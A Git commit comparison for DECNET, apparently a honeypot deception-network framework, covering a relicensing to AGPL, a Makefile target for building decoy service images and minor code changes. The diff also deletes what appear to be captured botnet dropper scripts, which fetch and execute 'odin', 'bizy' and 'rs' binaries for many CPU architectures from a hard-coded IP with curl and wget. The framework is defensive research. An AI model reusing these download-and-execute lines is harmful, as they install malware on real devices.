Compare commits
60 Commits
4586e36d63
...
dev
| Author | SHA1 | Date | |
|---|---|---|---|
| 431c86bbe8 | |||
| f47dd4b520 | |||
| f2b3393669 | |||
| ee10b55cfe | |||
| 1b90048715 | |||
| 5b13a01ab6 | |||
| eacac9aa60 | |||
| 4743c8f733 | |||
| e5e2bec3aa | |||
| d1ca96b2f4 | |||
| c0ad380020 | |||
| 05c0721a51 | |||
| ade8bbe30a | |||
| 418245f9b4 | |||
| 8eccb260be | |||
| 757aff4671 | |||
| 457e2d990c | |||
| 9e3473b370 | |||
| a6b5b1a7f8 | |||
| 4dadeb9aba | |||
| 35159419bb | |||
| 521d77b28f | |||
| 629f969eb6 | |||
| db798f5a5b | |||
| da2ad7a82a | |||
| e5847b7e1e | |||
| 8f33f1b849 | |||
| bbb126e435 | |||
| 77a466e615 | |||
| 72cdeb3270 | |||
| e292fd7d05 | |||
| e1eda1e754 | |||
| 49b4996956 | |||
| b799ade816 | |||
| 1a11287f76 | |||
| e3d9908bed | |||
| f160eccdae | |||
| cd3c1104b4 | |||
| 28f26cc5f3 | |||
| 946636d8f4 | |||
| 2af46ed102 | |||
| 3f8170be10 | |||
| 56229a272b | |||
| 4b2759e0fc | |||
| bd4700770b | |||
| b80e621904 | |||
| 1123e50325 | |||
| 6865abcff9 | |||
| dee208ad25 | |||
| a0f10d2c00 | |||
| 7bac3a29c6 | |||
| 916b21b652 | |||
| 3977f06374 | |||
| 11d9273c99 | |||
| 9056e33962 | |||
| 504340745e | |||
| aa833ddda9 | |||
| 69ecc4cc20 | |||
| b390a35262 | |||
| 3e6587e073 |
1
.gitignore
vendored
1
.gitignore
vendored
@@ -1,5 +1,6 @@
|
|||||||
.venv/
|
.venv/
|
||||||
.venv*/
|
.venv*/
|
||||||
|
docker-compose.yaml
|
||||||
.311/
|
.311/
|
||||||
.3[0-9][0-9]/
|
.3[0-9][0-9]/
|
||||||
logs/
|
logs/
|
||||||
|
|||||||
17
COPYRIGHT
Normal file
17
COPYRIGHT
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
DECNET - Deception Network
|
||||||
|
Copyright (C) 2026 Samuel Paschuan <samsam70000@gmail.com>
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU Affero General Public License as
|
||||||
|
published by the Free Software Foundation, either version 3 of the
|
||||||
|
License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Affero General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
141
LICENSE
141
LICENSE
@@ -1,5 +1,5 @@
|
|||||||
GNU GENERAL PUBLIC LICENSE
|
GNU AFFERO GENERAL PUBLIC LICENSE
|
||||||
Version 3, 29 June 2007
|
Version 3, 19 November 2007
|
||||||
|
|
||||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
@@ -7,17 +7,15 @@
|
|||||||
|
|
||||||
Preamble
|
Preamble
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
The GNU Affero General Public License is a free, copyleft license for
|
||||||
software and other kinds of works.
|
software and other kinds of works, specifically designed to ensure
|
||||||
|
cooperation with the community in the case of network server software.
|
||||||
|
|
||||||
The licenses for most software and other practical works are designed
|
The licenses for most software and other practical works are designed
|
||||||
to take away your freedom to share and change the works. By contrast,
|
to take away your freedom to share and change the works. By contrast,
|
||||||
the GNU General Public License is intended to guarantee your freedom to
|
our General Public Licenses are intended to guarantee your freedom to
|
||||||
share and change all versions of a program--to make sure it remains free
|
share and change all versions of a program--to make sure it remains free
|
||||||
software for all its users. We, the Free Software Foundation, use the
|
software for all its users.
|
||||||
GNU General Public License for most of our software; it applies also to
|
|
||||||
any other work released this way by its authors. You can apply it to
|
|
||||||
your programs, too.
|
|
||||||
|
|
||||||
When we speak of free software, we are referring to freedom, not
|
When we speak of free software, we are referring to freedom, not
|
||||||
price. Our General Public Licenses are designed to make sure that you
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
@@ -26,44 +24,34 @@ them if you wish), that you receive source code or can get it if you
|
|||||||
want it, that you can change the software or use pieces of it in new
|
want it, that you can change the software or use pieces of it in new
|
||||||
free programs, and that you know you can do these things.
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
To protect your rights, we need to prevent others from denying you
|
Developers that use our General Public Licenses protect your rights
|
||||||
these rights or asking you to surrender the rights. Therefore, you have
|
with two steps: (1) assert copyright on the software, and (2) offer
|
||||||
certain responsibilities if you distribute copies of the software, or if
|
you this License which gives you legal permission to copy, distribute
|
||||||
you modify it: responsibilities to respect the freedom of others.
|
and/or modify the software.
|
||||||
|
|
||||||
For example, if you distribute copies of such a program, whether
|
A secondary benefit of defending all users' freedom is that
|
||||||
gratis or for a fee, you must pass on to the recipients the same
|
improvements made in alternate versions of the program, if they
|
||||||
freedoms that you received. You must make sure that they, too, receive
|
receive widespread use, become available for other developers to
|
||||||
or can get the source code. And you must show them these terms so they
|
incorporate. Many developers of free software are heartened and
|
||||||
know their rights.
|
encouraged by the resulting cooperation. However, in the case of
|
||||||
|
software used on network servers, this result may fail to come about.
|
||||||
|
The GNU General Public License permits making a modified version and
|
||||||
|
letting the public access it on a server without ever releasing its
|
||||||
|
source code to the public.
|
||||||
|
|
||||||
Developers that use the GNU GPL protect your rights with two steps:
|
The GNU Affero General Public License is designed specifically to
|
||||||
(1) assert copyright on the software, and (2) offer you this License
|
ensure that, in such cases, the modified source code becomes available
|
||||||
giving you legal permission to copy, distribute and/or modify it.
|
to the community. It requires the operator of a network server to
|
||||||
|
provide the source code of the modified version running there to the
|
||||||
|
users of that server. Therefore, public use of a modified version, on
|
||||||
|
a publicly accessible server, gives the public access to the source
|
||||||
|
code of the modified version.
|
||||||
|
|
||||||
For the developers' and authors' protection, the GPL clearly explains
|
An older license, called the Affero General Public License and
|
||||||
that there is no warranty for this free software. For both users' and
|
published by Affero, was designed to accomplish similar goals. This is
|
||||||
authors' sake, the GPL requires that modified versions be marked as
|
a different license, not a version of the Affero GPL, but Affero has
|
||||||
changed, so that their problems will not be attributed erroneously to
|
released a new version of the Affero GPL which permits relicensing under
|
||||||
authors of previous versions.
|
this license.
|
||||||
|
|
||||||
Some devices are designed to deny users access to install or run
|
|
||||||
modified versions of the software inside them, although the manufacturer
|
|
||||||
can do so. This is fundamentally incompatible with the aim of
|
|
||||||
protecting users' freedom to change the software. The systematic
|
|
||||||
pattern of such abuse occurs in the area of products for individuals to
|
|
||||||
use, which is precisely where it is most unacceptable. Therefore, we
|
|
||||||
have designed this version of the GPL to prohibit the practice for those
|
|
||||||
products. If such problems arise substantially in other domains, we
|
|
||||||
stand ready to extend this provision to those domains in future versions
|
|
||||||
of the GPL, as needed to protect the freedom of users.
|
|
||||||
|
|
||||||
Finally, every program is threatened constantly by software patents.
|
|
||||||
States should not allow patents to restrict development and use of
|
|
||||||
software on general-purpose computers, but in those that do, we wish to
|
|
||||||
avoid the special danger that patents applied to a free program could
|
|
||||||
make it effectively proprietary. To prevent this, the GPL assures that
|
|
||||||
patents cannot be used to render the program non-free.
|
|
||||||
|
|
||||||
The precise terms and conditions for copying, distribution and
|
The precise terms and conditions for copying, distribution and
|
||||||
modification follow.
|
modification follow.
|
||||||
@@ -72,7 +60,7 @@ modification follow.
|
|||||||
|
|
||||||
0. Definitions.
|
0. Definitions.
|
||||||
|
|
||||||
"This License" refers to version 3 of the GNU General Public License.
|
"This License" refers to version 3 of the GNU Affero General Public License.
|
||||||
|
|
||||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
works, such as semiconductor masks.
|
works, such as semiconductor masks.
|
||||||
@@ -549,35 +537,45 @@ to collect a royalty for further conveying from those to whom you convey
|
|||||||
the Program, the only way you could satisfy both those terms and this
|
the Program, the only way you could satisfy both those terms and this
|
||||||
License would be to refrain entirely from conveying the Program.
|
License would be to refrain entirely from conveying the Program.
|
||||||
|
|
||||||
13. Use with the GNU Affero General Public License.
|
13. Remote Network Interaction; Use with the GNU General Public License.
|
||||||
|
|
||||||
|
Notwithstanding any other provision of this License, if you modify the
|
||||||
|
Program, your modified version must prominently offer all users
|
||||||
|
interacting with it remotely through a computer network (if your version
|
||||||
|
supports such interaction) an opportunity to receive the Corresponding
|
||||||
|
Source of your version by providing access to the Corresponding Source
|
||||||
|
from a network server at no charge, through some standard or customary
|
||||||
|
means of facilitating copying of software. This Corresponding Source
|
||||||
|
shall include the Corresponding Source for any work covered by version 3
|
||||||
|
of the GNU General Public License that is incorporated pursuant to the
|
||||||
|
following paragraph.
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, you have
|
Notwithstanding any other provision of this License, you have
|
||||||
permission to link or combine any covered work with a work licensed
|
permission to link or combine any covered work with a work licensed
|
||||||
under version 3 of the GNU Affero General Public License into a single
|
under version 3 of the GNU General Public License into a single
|
||||||
combined work, and to convey the resulting work. The terms of this
|
combined work, and to convey the resulting work. The terms of this
|
||||||
License will continue to apply to the part which is the covered work,
|
License will continue to apply to the part which is the covered work,
|
||||||
but the special requirements of the GNU Affero General Public License,
|
but the work with which it is combined will remain governed by version
|
||||||
section 13, concerning interaction through a network will apply to the
|
3 of the GNU General Public License.
|
||||||
combination as such.
|
|
||||||
|
|
||||||
14. Revised Versions of this License.
|
14. Revised Versions of this License.
|
||||||
|
|
||||||
The Free Software Foundation may publish revised and/or new versions of
|
The Free Software Foundation may publish revised and/or new versions of
|
||||||
the GNU General Public License from time to time. Such new versions will
|
the GNU Affero General Public License from time to time. Such new versions
|
||||||
be similar in spirit to the present version, but may differ in detail to
|
will be similar in spirit to the present version, but may differ in detail to
|
||||||
address new problems or concerns.
|
address new problems or concerns.
|
||||||
|
|
||||||
Each version is given a distinguishing version number. If the
|
Each version is given a distinguishing version number. If the
|
||||||
Program specifies that a certain numbered version of the GNU General
|
Program specifies that a certain numbered version of the GNU Affero General
|
||||||
Public License "or any later version" applies to it, you have the
|
Public License "or any later version" applies to it, you have the
|
||||||
option of following the terms and conditions either of that numbered
|
option of following the terms and conditions either of that numbered
|
||||||
version or of any later version published by the Free Software
|
version or of any later version published by the Free Software
|
||||||
Foundation. If the Program does not specify a version number of the
|
Foundation. If the Program does not specify a version number of the
|
||||||
GNU General Public License, you may choose any version ever published
|
GNU Affero General Public License, you may choose any version ever published
|
||||||
by the Free Software Foundation.
|
by the Free Software Foundation.
|
||||||
|
|
||||||
If the Program specifies that a proxy can decide which future
|
If the Program specifies that a proxy can decide which future
|
||||||
versions of the GNU General Public License can be used, that proxy's
|
versions of the GNU Affero General Public License can be used, that proxy's
|
||||||
public statement of acceptance of a version permanently authorizes you
|
public statement of acceptance of a version permanently authorizes you
|
||||||
to choose that version for the Program.
|
to choose that version for the Program.
|
||||||
|
|
||||||
@@ -635,40 +633,29 @@ the "copyright" line and a pointer to where the full notice is found.
|
|||||||
Copyright (C) <year> <name of author>
|
Copyright (C) <year> <name of author>
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
This program is free software: you can redistribute it and/or modify
|
||||||
it under the terms of the GNU General Public License as published by
|
it under the terms of the GNU Affero General Public License as published by
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
(at your option) any later version.
|
(at your option) any later version.
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
This program is distributed in the hope that it will be useful,
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
GNU General Public License for more details.
|
GNU Affero General Public License for more details.
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
Also add information on how to contact you by electronic and paper mail.
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
If the program does terminal interaction, make it output a short
|
If your software can interact with users remotely through a computer
|
||||||
notice like this when it starts in an interactive mode:
|
network, you should also make sure that it provides a way for users to
|
||||||
|
get its source. For example, if your program is a web application, its
|
||||||
<program> Copyright (C) <year> <name of author>
|
interface could display a "Source" link that leads users to an archive
|
||||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
of the code. There are many ways you could offer source, and different
|
||||||
This is free software, and you are welcome to redistribute it
|
solutions will be better for different programs; see section 13 for the
|
||||||
under certain conditions; type `show c' for details.
|
specific requirements.
|
||||||
|
|
||||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
|
||||||
parts of the General Public License. Of course, your program's commands
|
|
||||||
might be different; for a GUI interface, you would use an "about box".
|
|
||||||
|
|
||||||
You should also get your employer (if you work as a programmer) or school,
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
For more information on this, and how to apply and follow the GNU GPL, see
|
For more information on this, and how to apply and follow the GNU AGPL, see
|
||||||
<https://www.gnu.org/licenses/>.
|
<https://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
The GNU General Public License does not permit incorporating your program
|
|
||||||
into proprietary programs. If your program is a subroutine library, you
|
|
||||||
may consider it more useful to permit linking proprietary applications with
|
|
||||||
the library. If this is what you want to do, use the GNU Lesser General
|
|
||||||
Public License instead of this License. But first, please read
|
|
||||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
|
||||||
|
|||||||
42
Makefile
42
Makefile
@@ -1,5 +1,6 @@
|
|||||||
PYTEST := .311/bin/pytest
|
PYTEST := .311/bin/pytest
|
||||||
FAIL_FAST ?= 1
|
FAIL_FAST ?= 1
|
||||||
|
NO_CACHE ?= 0
|
||||||
ARGS :=
|
ARGS :=
|
||||||
|
|
||||||
# addopts in pyproject.toml already provides -v -q -x -n 4 --dist load.
|
# addopts in pyproject.toml already provides -v -q -x -n 4 --dist load.
|
||||||
@@ -176,6 +177,42 @@ test-all test:
|
|||||||
echo ""; \
|
echo ""; \
|
||||||
echo "All suites passed."
|
echo "All suites passed."
|
||||||
|
|
||||||
|
# ── Decky image pre-build ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_DECKY_TEMPLATES := \
|
||||||
|
conpot docker_api elasticsearch ftp http https imap k8s ldap \
|
||||||
|
llmnr mongodb mqtt mssql mysql pop3 postgres rdp redis sip smb smtp \
|
||||||
|
sniffer snmp ssh telnet tftp vnc
|
||||||
|
|
||||||
|
.PHONY: build-all
|
||||||
|
build-all:
|
||||||
|
@failed=""; \
|
||||||
|
for svc in $(_DECKY_TEMPLATES); do \
|
||||||
|
echo ""; \
|
||||||
|
echo "══════════════════════════ $$svc ══════════════════════════"; \
|
||||||
|
_nc=""; \
|
||||||
|
if [ "$(NO_CACHE)" = "1" ]; then _nc="--no-cache"; fi; \
|
||||||
|
if DOCKER_BUILDKIT=1 docker build $$_nc \
|
||||||
|
-t decnet/$$svc:latest \
|
||||||
|
decnet/templates/$$svc; then \
|
||||||
|
echo "[BUILT] $$svc"; \
|
||||||
|
else \
|
||||||
|
echo "[FAIL] $$svc"; \
|
||||||
|
failed="$$failed $$svc"; \
|
||||||
|
if [ "$(FAIL_FAST)" = "1" ]; then \
|
||||||
|
echo "Stopping at first failure. Use FAIL_FAST=0 to build all."; \
|
||||||
|
exit 1; \
|
||||||
|
fi; \
|
||||||
|
fi; \
|
||||||
|
done; \
|
||||||
|
if [ -n "$$failed" ]; then \
|
||||||
|
echo ""; \
|
||||||
|
echo "Failed:$$failed"; \
|
||||||
|
exit 1; \
|
||||||
|
fi; \
|
||||||
|
echo ""; \
|
||||||
|
echo "All decky images built."
|
||||||
|
|
||||||
.PHONY: help
|
.PHONY: help
|
||||||
help:
|
help:
|
||||||
@echo "Unit suites (xdist, 30s timeout):"
|
@echo "Unit suites (xdist, 30s timeout):"
|
||||||
@@ -217,3 +254,8 @@ help:
|
|||||||
@echo " make test-all FAIL_FAST=0 same, report all failures instead of stopping"
|
@echo " make test-all FAIL_FAST=0 same, report all failures instead of stopping"
|
||||||
@echo ""
|
@echo ""
|
||||||
@echo "Passthrough: make test-web ARGS='--lf -s'"
|
@echo "Passthrough: make test-web ARGS='--lf -s'"
|
||||||
|
@echo ""
|
||||||
|
@echo "Decky images:"
|
||||||
|
@echo " make build-all build decnet/<svc>:latest for all 27 decky templates"
|
||||||
|
@echo " make build-all NO_CACHE=1 same, bypassing Docker layer cache"
|
||||||
|
@echo " make build-all FAIL_FAST=0 same, continue past failures"
|
||||||
|
|||||||
@@ -1,3 +0,0 @@
|
|||||||
[0] Downloading 'http://31.56.209.39/curl.sh' ...
|
|
||||||
Saving 'curl.sh.1'
|
|
||||||
HTTP response 200 OK [http://31.56.209.39/curl.sh]
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
ulimit -n 4096
|
|
||||||
ulimit -n 999999
|
|
||||||
ulimit -v 2097152
|
|
||||||
cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
|
|
||||||
rm -rf odin*
|
|
||||||
rm -rf bizy*
|
|
||||||
rm -rf rs*
|
|
||||||
rm -rf *.sh
|
|
||||||
|
|
||||||
#curl http://31.56.209.39/rs.arm -o rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
|
|
||||||
#curl http://31.56.209.39/rs.arm5 -o rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
|
|
||||||
#curl http://31.56.209.39/rs.arm6 -o rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
|
|
||||||
#curl http://31.56.209.39/rs.arm7 -o rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
|
|
||||||
#curl http://31.56.209.39/rs.mips -o rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
|
|
||||||
#curl http://31.56.209.39/rs.mipsle -o rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
|
|
||||||
#curl http://31.56.209.39/rs.mipsSF -o rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
|
|
||||||
#curl http://31.56.209.39/rs.mipsleSF -o rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
|
|
||||||
#curl http://31.56.209.39/rs.x86 -o rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
|
|
||||||
#curl http://31.56.209.39/rs.x64 -o rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
|
|
||||||
|
|
||||||
curl http://31.56.209.39/odin.arm -o odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.curl
|
|
||||||
curl http://31.56.209.39/odin.arm5 -o odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.curl
|
|
||||||
curl http://31.56.209.39/odin.arm5n -o odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.curl
|
|
||||||
curl http://31.56.209.39/odin.arm6 -o odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.curl
|
|
||||||
curl http://31.56.209.39/odin.arm7 -o odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.curl
|
|
||||||
curl http://31.56.209.39/odin.m68k -o odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.curl
|
|
||||||
curl http://31.56.209.39/odin.mips -o odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.curl
|
|
||||||
curl http://31.56.209.39/odin.mpsl -o odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.curl
|
|
||||||
curl http://31.56.209.39/odin.ppc -o odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.curl
|
|
||||||
curl http://31.56.209.39/odin.sh4 -o odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.curl
|
|
||||||
curl http://31.56.209.39/odin.spc -o odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.curl
|
|
||||||
curl http://31.56.209.39/odin.x64 -o odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.curl
|
|
||||||
curl http://31.56.209.39/odin.x86 -o odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.curl
|
|
||||||
|
|
||||||
curl http://31.56.209.39/bizy.arm5 -o bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
|
|
||||||
curl http://31.56.209.39/bizy.arm6 -o bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
|
|
||||||
curl http://31.56.209.39/bizy.arm7 -o bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
|
|
||||||
curl http://31.56.209.39/bizy.arm8 -o bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
|
|
||||||
curl http://31.56.209.39/bizy.mips -o bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
|
|
||||||
curl http://31.56.209.39/bizy.mpsl -o bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
|
|
||||||
curl http://31.56.209.39/bizy.mipss -o bizy.mipss; chmod +x bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss;
|
|
||||||
curl http://31.56.209.39/bizy.mpsls -o bizy.mpsls; chmod +x bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls;
|
|
||||||
curl http://31.56.209.39/bizy.riscv -o bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
|
|
||||||
curl http://31.56.209.39/bizy.x86 -o bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
|
|
||||||
curl http://31.56.209.39/bizy.x64 -o bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
wget http://31.56.209.39/wget.sh -o wget.sh
|
|
||||||
|
|
||||||
wget http://31.56.209.39/curl.sh -o curl.sh
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
[0] Downloading 'http://31.56.209.39/wget.sh' ...
|
|
||||||
Saving 'wget.sh.1'
|
|
||||||
HTTP response 200 OK [http://31.56.209.39/wget.sh]
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
ulimit -n 4096
|
|
||||||
ulimit -n 999999
|
|
||||||
ulimit -v 2097152
|
|
||||||
cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
|
|
||||||
rm -rf odin*
|
|
||||||
rm -rf bizy*
|
|
||||||
rm -rf rs*
|
|
||||||
rm -rf *.sh
|
|
||||||
|
|
||||||
wget http://31.56.209.39/rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
|
|
||||||
wget http://31.56.209.39/rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
|
|
||||||
wget http://31.56.209.39/rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
|
|
||||||
wget http://31.56.209.39/rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
|
|
||||||
wget http://31.56.209.39/rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
|
|
||||||
wget http://31.56.209.39/rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
|
|
||||||
wget http://31.56.209.39/rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
|
|
||||||
wget http://31.56.209.39/rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
|
|
||||||
wget http://31.56.209.39/rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
|
|
||||||
wget http://31.56.209.39/rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
|
|
||||||
|
|
||||||
wget http://31.56.209.39/odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.wget
|
|
||||||
wget http://31.56.209.39/odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.wget
|
|
||||||
wget http://31.56.209.39/odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.wget
|
|
||||||
wget http://31.56.209.39/odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.wget
|
|
||||||
wget http://31.56.209.39/odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.wget
|
|
||||||
wget http://31.56.209.39/odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.wget
|
|
||||||
wget http://31.56.209.39/odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.wget
|
|
||||||
wget http://31.56.209.39/odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.wget
|
|
||||||
wget http://31.56.209.39/odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.wget
|
|
||||||
wget http://31.56.209.39/odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.wget
|
|
||||||
wget http://31.56.209.39/odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.wget
|
|
||||||
wget http://31.56.209.39/odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.wget
|
|
||||||
wget http://31.56.209.39/odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.wget
|
|
||||||
|
|
||||||
wget http://31.56.209.39/bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
|
|
||||||
wget http://31.56.209.39/bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
|
|
||||||
wget http://31.56.209.39/bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
|
|
||||||
wget http://31.56.209.39/bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
|
|
||||||
wget http://31.56.209.39/bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
|
|
||||||
wget http://31.56.209.39/bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
|
|
||||||
wget http://31.56.209.39/bizy.mipss; chmod +x ./bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss
|
|
||||||
wget http://31.56.209.39/bizy.mpsls; chmod +x ./bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls
|
|
||||||
wget http://31.56.209.39/bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
|
|
||||||
wget http://31.56.209.39/bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
|
|
||||||
wget http://31.56.209.39/bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
|
|
||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""DECNET — honeypot deception-network framework.
|
"""DECNET — honeypot deception-network framework.
|
||||||
|
|
||||||
This __init__ runs once, on the first `import decnet.*`. It seeds
|
This __init__ runs once, on the first `import decnet.*`. It seeds
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""DECNET worker agent — runs on every SWARM worker host.
|
"""DECNET worker agent — runs on every SWARM worker host.
|
||||||
|
|
||||||
Exposes an mTLS-protected FastAPI service the master's SWARM controller
|
Exposes an mTLS-protected FastAPI service the master's SWARM controller
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Worker-side FastAPI app.
|
"""Worker-side FastAPI app.
|
||||||
|
|
||||||
Protected by mTLS at the ASGI/uvicorn transport layer: uvicorn is started
|
Protected by mTLS at the ASGI/uvicorn transport layer: uvicorn is started
|
||||||
@@ -25,6 +26,7 @@ from contextlib import asynccontextmanager
|
|||||||
from typing import Any, Optional
|
from typing import Any, Optional
|
||||||
|
|
||||||
from fastapi import FastAPI, HTTPException
|
from fastapi import FastAPI, HTTPException
|
||||||
|
from fastapi.responses import JSONResponse
|
||||||
from pydantic import BaseModel, Field
|
from pydantic import BaseModel, Field
|
||||||
|
|
||||||
import contextlib
|
import contextlib
|
||||||
@@ -181,6 +183,7 @@ class TeardownRequest(BaseModel):
|
|||||||
class MutateRequest(BaseModel):
|
class MutateRequest(BaseModel):
|
||||||
decky_id: str
|
decky_id: str
|
||||||
services: list[str]
|
services: list[str]
|
||||||
|
dry_run: bool = False
|
||||||
|
|
||||||
|
|
||||||
# ------------------------------------------------------------------ routes
|
# ------------------------------------------------------------------ routes
|
||||||
